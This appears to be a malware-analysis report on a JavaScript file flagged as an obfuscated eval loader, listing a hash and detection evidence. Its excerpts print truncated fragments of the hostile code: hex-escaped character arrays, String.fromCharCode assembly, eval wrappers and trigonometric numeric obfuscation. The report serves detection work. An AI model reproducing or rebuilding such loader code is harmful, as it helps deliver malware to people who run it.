Suspicious ^80% javascript-malware-collection Download

20151214_1f77cc46296e0c8083fc50be40c6fc9a.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2569ac2a3606b5e0f8df58ca01b0c59d14a8c54848e168d4112b8dc9fabd45b2c72

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var s=new Array();
2y(s,"\x3a");y(s,"\x61");y(s,"\x3b");y(s,"\x5a");y(s,"\x26");y(s,"\x56");y(s,"\x33");y(s,"\x7b");y(s,"\x4b");y(s,"\x3b");y(s,"\x79");y(s,"\x56");y(s,"\x24");y(s,"\x52");y(s,"\x76");y(s,"\x20");y(s,"\x28");y(s,"\x3e");y(s,"\x31");y(s,"\x28");y(s,"\x65");y(s,"\x28");y(s,"\x6f");y(s,"\x3b");y(s,"\x35");y(s,"\x4a");y(s,"\x3a");y(s,"\x64");y(s,"\x79");y(s,"\x76");y(s,"\x41");y(s,"\x6f");y(s,"\x37");y(s,"\x6d");y(s,"\x3b");y(s,"\x63");y(s,"\x37");y(s,"\x3c");y(s,"\x7b");y(s,"\x4a");y(s,"\x34");y(s,"\x5d");y(s,"\x4f");y(s,"\x5b");y(s,"\x60");y(s,"\x66");y(s,"\x59");y(s,"\x56");y(s,"\x39");y(s,"\x36");y(s,"\x56");y(s,"\x68");y(s,"\x78");y(s, …

Builds characters with String.fromCharCode line 4

4:248… 41],s[42],s[43],s[44],s[45],s[46],s[47],s[48],s[49],s[50],s[51],String.fromCharCode(10),s[52],s[53],s[54],s[55],s[56],s[57],s[58],s[59],s[60],s[61],s[62],s[63],s[64],s[65],String.fromCharCode(13),s[66],s[67],s[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… DjKtPr,tCBYvaYT){LIhU=parseInt(gLugHrSnpMV,eCEqkQVDjKtPr);KOBtR=LIhU.toString(tCBYvaYT);return KOBtR;}function EANehZAHfptTZXm(CvZEqrTEJPbvlrlHw,ywZcqDGTwfCifCCSGYpMZPKTOTITKMVgwb,SciCMbyIatctUfhNbAUvQbZIVeaTDnIoTSH){eval(CvZEqrTEJPbvlrlHw)}
7function EANehZAHfptTZXm(CvZEqrTEJPbvlrlHw){eval(CvZEqrTEJPbvlrlHw)}
8function ExsyElHlDBcoMACKFbwEppekoxGnYnAsmOPkngAVrDNnm …

Calls JavaScript split() lines 9–11

9:155… DuhxDCCpMSPqgJ);}
10function HfjnoPmSUBJ(SpVPQvYe,yovXyg){return SpVPQvYe.split(yovXyg)}
11var t=[];t[0]=s[693];t[1]=s[694];t[2]=s[695];t[3]=s[696];t[4]=s[697];t[5]=s[698];t[6]=s[699];t[7]=s[700];t[8]=s[701];t[9]=s[702];t[10]=s[703];t[11]=s[704];t[12]=s[705];t[13]=s[706];t[14]=s[707];t[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,A];
14var idJBoenId=[];
15function qdkuMiKbZPxCBUeFN(zkHqN){YBvpLtsRnxo= s[1767];for(QOKhMFqeJOp=Math.round((Math.pow(Math.sin(334), 2) + Math.pow(Math.cos(334), 2) - 1)); QOKhMFqeJOp < (14+446)/230; QOKhMFqeJOp++) {idJBoenId[QOKhMFqeJOp]=Math.round((Math.pow(Math.sin(58), 2) + Math.pow(Math.cos(58), 2) - 1)); while(true) { if(idJBoenId[QOKhMFqeJOp] > zkHqN[QOKhMFqeJOp].length-(139+249)/388) { break; } if (HdZBLrg(uwSBO(zkHqN[QOKhMFqeJOp][idJBoenId[QOKhMFqeJOp]],(25381+2 …